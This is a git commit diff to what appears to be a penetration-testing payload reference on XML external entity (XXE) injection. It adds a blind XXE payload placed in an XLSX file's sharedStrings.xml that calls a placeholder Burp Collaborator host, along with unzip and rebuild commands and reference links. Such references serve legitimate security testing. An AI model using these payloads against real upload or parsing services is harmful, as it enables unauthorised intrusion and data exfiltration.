Merge pull request #302 from noraj/patch-1

add another example of XXE in XLSX
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Swissky 2020-12-08 11:36:26 +01:00 committed by GitHub
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@ -462,7 +462,7 @@ GIF (experimental)
Extract the excel file.
```powershell
```
$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx
Archive: ../XXE.xlsx
@ -479,16 +479,24 @@ Archive: ../XXE.xlsx
Add your blind XXE payload inside `xl/workbook.xml`.
```powershell
```xml
<xml...>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<x>&xxe;</x>
<workbook...>
```
Alternativly, add your payload in `xl/sharedStrings.xml`:
```xml
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [ <!ELEMENT t ANY > <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&xxe;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>
```
Rebuild the Excel file.
```powershell
```
$ zip -r ../poc.xlsx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
@ -539,6 +547,7 @@ cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml
* [Web Security Academy >> XML external entity (XXE) injection - 2019 PortSwigger Ltd](https://portswigger.net/web-security/xxe)
* [Automating local DTD discovery for XXE exploitation](https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation) - July 16 2019 by Philippe Arteau
* [EXPLOITING XXE WITH EXCEL - NOV 12 2018 - MARC WICKENDEN](https://www.4armed.com/blog/exploiting-xxe-with-excel/)
* [excel-reader-xlsx #10](https://github.com/jmcnamara/excel-reader-xlsx/issues/10)
* [Midnight Sun CTF 2019 Quals - Rubenscube](https://jbz.team/midnightsunctfquals2019/Rubenscube)
* [SynAck - A Deep Dive into XXE Injection](https://www.synack.com/blog/a-deep-dive-into-xxe-injection/) - 22 July 2019 - Trenton Gordon
* [Synacktiv - CVE-2019-8986: SOAP XXE in TIBCO JasperReports Server](https://www.synacktiv.com/ressources/advisories/TIBCO_JasperReports_Server_XXE.pdf) - 11-03-2019 - Julien SZLAMOWICZ, Sebastien DUDEK